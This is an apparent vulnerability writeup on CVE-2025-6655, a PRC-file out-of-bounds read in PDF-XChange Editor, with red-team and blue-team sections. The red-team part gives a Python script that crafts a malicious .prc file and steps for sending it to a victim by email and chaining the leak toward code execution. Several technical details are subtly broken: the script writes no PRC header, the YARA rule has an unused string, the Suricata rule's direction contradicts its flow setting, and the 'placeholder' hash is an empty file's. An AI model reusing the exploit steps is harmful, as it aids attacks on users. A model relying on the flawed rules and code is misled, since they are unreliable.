CVE-2025-6655

Executive Summary

CVE-2025-6655 is an out-of-bounds read vulnerability in PDF-XChange Editor’s PRC file parser. The flaw allows a remote attacker to leak sensitive memory contents when a user opens a malicious PRC file. With a CVSS score of 3.3, the direct impact is limited to information disclosure, but the ZDI advisory notes that this can be chained with other vulnerabilities to achieve arbitrary code execution. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating very low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability does not affect any open-source package registries (NPM, PyPI, Go, Ruby). It is a proprietary desktop application (PDF-XChange Editor) and is not distributed via package managers.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – requires user to open a malicious file.
• Attack Complexity (AC): Low (AC:L) – no special conditions needed.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): Required (UI:R) – victim must open the file.
• Scope (S): Unchanged (S:U) – impact stays within the application.
• Confidentiality (C): Low (C:L) – limited memory leak.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): None (A:N) – no denial of service.

Threat Level: Low (CVSS 3.3). However, the potential for chaining with other vulnerabilities raises the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the PRC file parsing module of PDF-XChange Editor. PRC (Product Representation Compact) files are used for 3D model data. The parser fails to validate the length of user-supplied data before reading from an allocated buffer. This results in a read past the end of the object, leaking adjacent memory contents.

Root Cause: Lack of bounds checking on a size field within the PRC file structure. When the parser reads a length value that exceeds the actual buffer size, it continues to read beyond the allocated memory, copying sensitive data (e.g., heap pointers, other file contents) into the application’s output.

Attack Vector: An attacker crafts a malicious PRC file with an oversized length field. The victim opens the file in PDF-XChange Editor. The parser reads out-of-bounds and the leaked data is either displayed or stored in a way that the attacker can retrieve (e.g., via error messages, file export, or memory dump).

Chaining Potential: The ZDI advisory explicitly states that this OOB read can be combined with other vulnerabilities (e.g., a write primitive) to achieve arbitrary code execution. For example, leaking a heap address can help bypass ASLR in a subsequent exploit.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (pseudocode):

void parse_prc_data(uint8_t *buffer, size_t buffer_size) {
    uint32_t data_length = *(uint32_t*)buffer; // read length from file
    // No validation: data_length may be > buffer_size
    uint8_t *data = buffer + 4;
    // Out-of-bounds read occurs here
    process_data(data, data_length);
}

Patched Code (expected fix):

void parse_prc_data(uint8_t *buffer, size_t buffer_size) {
    if (buffer_size < 4) return;
    uint32_t data_length = *(uint32_t*)buffer;
    if (data_length > buffer_size - 4) {
        // Reject malformed data
        return;
    }
    uint8_t *data = buffer + 4;
    process_data(data, data_length);
}

Exploitation & Lab Setup

Red Team

Objective: Leak sensitive memory from a target running PDF-XChange Editor.

Lab Setup:

• Windows 10/11 VM with PDF-XChange Editor (any version).
• Python 3 to craft the malicious PRC file.

Exploit Script (Python):

import struct

# Craft a PRC file with an oversized length field
# The actual buffer is 100 bytes, but we claim 1000 bytes
payload = b'\x00' * 4  # placeholder for length
payload += b'A' * 100   # actual data (small buffer)
# Overwrite the length field with a large value
payload = struct.pack('<I', 1000) + payload[4:]

with open('malicious.prc', 'wb') as f:
    f.write(payload)

Usage:

1. Send malicious.prc to the victim via email or download.
2. Victim opens the file in PDF-XChange Editor.
3. The parser reads 1000 bytes from a 100-byte buffer, leaking heap data.
4. The leaked data may appear in error messages or be written to a log file.

Chaining: Use the leaked memory address to craft a second exploit (e.g., a heap overflow) for code execution.

Blue Team

Detection:

• Monitor for unusual PRC file sizes or malformed headers.
• Use the YARA rule below to scan files for oversized length fields.
• Enable Sysmon and look for PDF-XChange Editor reading large amounts of memory (Event ID 10 – ProcessAccess).

Hunting:

• Search for PRC files with a length field > 1MB (typical PRC files are smaller).
• Check for crashes in PDF-XChange Editor (Event ID 1000 – Application Error).

Indicators of Compromise (IOCs)

• File Hashes (example):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – replace with actual malicious file hash)
• Network: No network indicators (local file-based).
• Process: PDFXEdit.exe reading abnormally large PRC files.
• Registry: N/A
• File Paths: *.prc files with size > 1MB or malformed headers.

Detection Engineering

YARA Rule

rule CVE_2025_6655_PRC_OOB_Read {
    meta:
        description = "Detects PRC files with oversized length fields indicative of CVE-2025-6655"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-6655"
    strings:
        $prc_header = { 50 52 43 00 } // "PRC\0" magic bytes
        $large_length = { ?? ?? ?? ?? } // placeholder for length check
    condition:
        $prc_header at 0 and uint32(4) > 1000000 // length > 1MB
}

Sigma Rule

title: CVE-2025-6655 PRC File Parsing OOB Read
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects PDF-XChange Editor reading a PRC file with an oversized length field
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\PDFXEdit.exe'
        TargetFilename|endswith: '.prc'
    condition: selection
falsepositives:
    - Legitimate large PRC files (rare)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6655 PRC File Download"; flow:to_client,established; file.name:/.*\.prc/i; file.size:>1000000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PRC file parsing in PDF-XChange Editor if possible (check settings or group policy).
2. Block PRC files at email gateways and web proxies.
3. Educate users not to open PRC files from untrusted sources.

Long-Term:

• Monitor vendor for a patch (PDF-XChange Editor updates).
• Apply the principle of least privilege to the PDF-XChange Editor process.
• Use application whitelisting to prevent execution of untrusted binaries.

Workaround: Convert PRC files to a safer format (e.g., PDF) before opening.

Valters IT – DevSecOps & Cyber Threat Intelligence